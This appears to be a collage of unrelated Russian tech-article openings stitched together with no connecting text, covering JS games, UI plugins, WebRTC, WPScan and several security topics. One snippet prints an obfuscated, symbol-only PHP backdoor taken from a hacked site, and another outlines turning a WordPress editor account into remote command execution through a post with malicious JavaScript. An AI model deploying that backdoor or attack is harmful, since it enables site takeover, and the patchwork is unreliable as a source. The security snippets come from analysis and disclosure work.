CKEditor — это WYSIWYG редактор HTML-кода для браузеров. Всякий раз, сталкиваясь с его документацией или же с его исходным кодом, с исходным кодом его плагинов я терялся. И это не мудрено, ведь CKEditor это очень большой продукт, имеющий довольно сложную инфраструктуру. Но, зачастую, стандартных возможностей не хватает и требуется добавить свою. В этой статье я хотел бы остановиться на плагине, который позволяет встраивать и оперировать в редакторе Yandex-картами.

Вот так это будет выглядеть по окончанию редактирования:


А вот так в режиме редактирования:

Позавчера, Oren Hafif, известный багхантер, обнаружил уязвимость в Gmail. Точнее говоря, не одну уязвимость, а целую цепочку, которая позволяет угнать пароль от аккаунта.

Данный фиче-баг схож с историй про отправку сообщения в Facebook от любого юзера — известен, но не получил широкую огласку. Получилось так, что нашел я его сам, а уже потом нашел информацию о нём в интернетах. Но обо всем по порядку...

# intro

Темной, холодной и дождливой Питерской ночью обнаружил я забавный баг, которому оказались подвержены приложения от Facebook, Google, ВКонтакте и скорее всего, от многих других производителей. Для его объяснения нам просто необходимо знать немного теории.

Проблема

Начиная работу над очередным сайтом понадобился datepicker. Самый известный такой datepicker — в jQuery UI, но так как jQuery UI в проекте не использовался — тянуть даже его часть не хотелось, принялся за поиски достойной альтернативы.

Требования следующие:

• Выбор даты, нескольких дат, интервала
• Простота настройки внешнего вида
• Желательно без каких-либо зависимостей кроме jQuery

Требования вполне логичные, ничего сверх естественного.
Каково было мое удивление, когда просмотрев десятка два плагинов я не нашел подходящего.

Для любопытных — сразу демо того, что получилось в результате.

Решил поддержать серию постов «Делаем XXX на JS в 30 строк». Взял для примера Pong в приближенному к классическому оформлении:

Вышло не совсем в 30 строк, а целых 38, т.к. логики вышло прилично, а совсем убивать читаемость или сжимать минимизаторами/обфускаторами не хотелось.

В демке:

• Управление по Up/Down;
• ИИ противника;
• Ускорение мяча с каждым отскоком;
• Обработка клавиатуры, не зависящая от перемещения мяча;
• Ожидание нажатия клавиш для запуска мяча;
• Поддержка практически любого размера поля и высоты «игроков»;
• Ведение статистики.

Решил поддержать тему!

Тетрис в 30+ строк js кода.

• Знает все фигуры тетриса
• Управление с клавиатуры
• ВВЕРХ — фигурки крутятся по часовой стрелке
• ВНИЗ — ускорить падение
• Скорость падания постепенно увеличивается
• Очки подсчитываются

ссылка на jsfiddle

Всё началось с того, что я обратил внимание на рекламу, которую показывает мой новый SmartTV от LG. После небольшого расследования, я наткнулся на видео для корпоративных заказчиков, рассказывающее о рекламных возможностях LG. Видео достаточно длинное, суть заключается в том, что LG Smart Ad собирает информацию о любимых программах пользователя, его поведении в сети, включая сбор ключевых слов, используемых при поиске, и прочую информацию о личных пристрастиях. Все это используется для показа таргетированной рекламы.

Чтобы хоть как-то разбавить тенденцию к 30строчникам решил написать достаточно завершенную и, в сравнении с 30lines, объемную реализацию классической игры Asteroids.

Я не буду меряться числом строк или символов кода, т.к. в нем есть и достаточно нормальное оформление и даже комментарии.
Мир игры отрисовывается на canvas, все объекты мира унифицированы, а детектор коллизий использует попиксельный тест. Есть простая озвучка, жизни, godmod на первые секунды после появления, очки, растущая вместе с очками сложность и, конечно, разваливающиеся на куски астероиды.
Попробовать можно тут. Очень советую Chrome или хотя бы FF.

  Данный пост будет полезен разработчикам, которые только встали на радужный путь геймдева. В нашем недавнем посте уже было рассказано о первоначальных шагах нашей dream team в сфере игройстроя. Как и обещали, работаем в этом направлении дальше и решили попробовать себя в другом жанре игр. Далее будут кратко освещены некоторые моменты создания и публикации игры на двух платформах iOS и android.

Доброго времени суток!

Я бы хотел рассказать Вам о своих личных ощущениях о игрострое после года работы над собственным проектом.

До тех пор, как я впервые не дотронулся до игровых движков, я думал, что игры делать просто и весело. Собирается команда из талантливых людей и в какие-то определенные сроки они без проблем делают игру, пишут ее код и заполняют окружение красивыми штуками. Да уж… с какой-то стороны это все верно, однако я не ожидал что в реальности все намного сложнее.

Еще раз напомнюсь, эта статья — лишь ощущения от знакомства с игростроем, и рассказ о своем небольшом опыте.

WebRTC позволяет реализовать real-time аудио/видео связь через браузер ( и ).

В этом топике я расскажу как реализовать простейшее WebRTC приложение.

Привет Хабра!

Эта статья продолжает цикл статей об игровом движке StalinGrad. В прошлой статье мы насиловали DHTML, а в этой — будем насиловать архитектуру и прототипы.

Кода практически не будет, поэтому, если вы не web разработчик, можете просто почитать про архитектуру и ООП. И таки да — про HTML5 тут снова ничего не будет, только DHTML-хардкор :)



Сразу короткое демо:
Пример 1 — паралельные миры
Пример 2 — один мир с разных камер
Пример 3 — боты
Пример 4 — нянкэт, облака и портальная пушка

К сожалению, нигде не нашел упоминания в постах на Хабре о замечательной утилите — WPScan, которая просто безумно помогает с пентестом блогов на WordPress. Этот пост о ней и еще одной утилите, которые помогут даже ничего не знающему в безопасности IT'шнику провести пентест блога на WordPress.

# ./wpscan.rb
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                    Version v2.1r1c1a6d2
     Sponsored by the RandomStorm Open Source Initiative
 @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________

Примерно год назад появилась задача сделать красивый html5 аудио-плеер. Дизайнеры нарисовали простейшую визуализацию:



Самый простой вариант — рисовать на фоне «шум», никак не связанный с играющей музыкой. Но мы не ищем лёгких путей.

На хабре нашлась статья визуализация аудио в HTML5, в которой подробно рассмотрен вопрос визуализации с помощью javascript. Существует 2 стандарта получения информации об аудио:

• Web Audio API для Chrome,
• Audio Data API для Firefox.

Стандарты сильно отличаются друг от друга, используя эти API мы могли добиться поддержки только в этих браузерах. Мы же хотели расширить список и придумали решение, которое заработало даже в старых версиях IE.

Упрощенное демо

В марте 2012 года Гай Подъярны (Guy Podjarny) провел тест, в ходе которого сравнивалась продуктивность работы сотен новых адаптивных сайтов на устройствах с четырьмя различными разрешениями экранов. Получившиеся результаты были весьма разочаровывающими.

После двух лет подъема адаптивного дизайна, когда любой дизайнер и разработчик, которых только можно представить, запрыгнули в этот поезд, тест производительности на различных разрешениях потряс сами основы адаптивной теории.

Предисловие

Два месяца тому назад в статье, посвящённой сравнению LCD и E-Ink дисплеев, я упомянул, что одним из следующих обзоров будет «вскрытие» матрицы современного фотоаппарата. И спешу исполнить данное обещание!

Здравствуйте!

При написании своего WYSIWYG редактора возникла проблема копирования текста из Ворда. Собственно проблем три:

• Ворд вставляет много мусорного html кода, который необходимо чистить
• Для представления списков Ворд почему-то использует параграфы вместо тегов UL и LI
• Собственно как определить, что вставленный текст является вставленным из Ворда.

В общем, для решения этих проблем, был написан jquery-плагин, полный исходный код которого доступен в конце статьи. Пример использования:

$(‘#editor’). msword_html_filter();

Плагин вешается на событие keyup и проверяет, является ли исходный код внутри редактора вставленным из Ворда, если да, то запускается функция очистки. В результирующем html прибивается все что только можно – неразрывные пробелы, атрибуты style и align, теги span, все Mso-классы, пустые параграфы.

Детали реализации под катом.

UPD Демо на CodePen

Всем приятного чтения. Я хочу рассказать о небезопасной фиче во всемирно известном движке для блогов — WordPress, которая присутствует в нем уже долгое время. О ней многим известно (в т.ч. эту возможность признают как «законную» сами разработчики), но я точно не уверен, описывал ли кто-то её использование именно в предлагаем в статье векторе атаки (лично я найти не смог).

Множество компаний, таких как Microsoft, Nokia, Google используют WordPress. Администраторы блогов выдают права редакторов своим PR-службам… И вот тут главный момент — в WordPress только две роли имеют права использовать javascript внутри постов — администраторы и редакторы.

Вся идея в одно предложение: создаём пост, содержащий зловредный JS. Если администратор открывает наш пост — мы получаем Remote Command Execution.

Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.

Наткнулся сегодня на одну интересную штуку.
Semantic UI — это фреймворк для создания переносимых интерфейсов, который поможет повторно использовать элементы UI в своих проектах. Такая себе альтернатива Bootstrap.
Небольшой пример — если вы хотите добавить в свой проект что-то похожее на кнопку

просто воспользуйтесь следующими элементами:

semantic add button
semantic add icon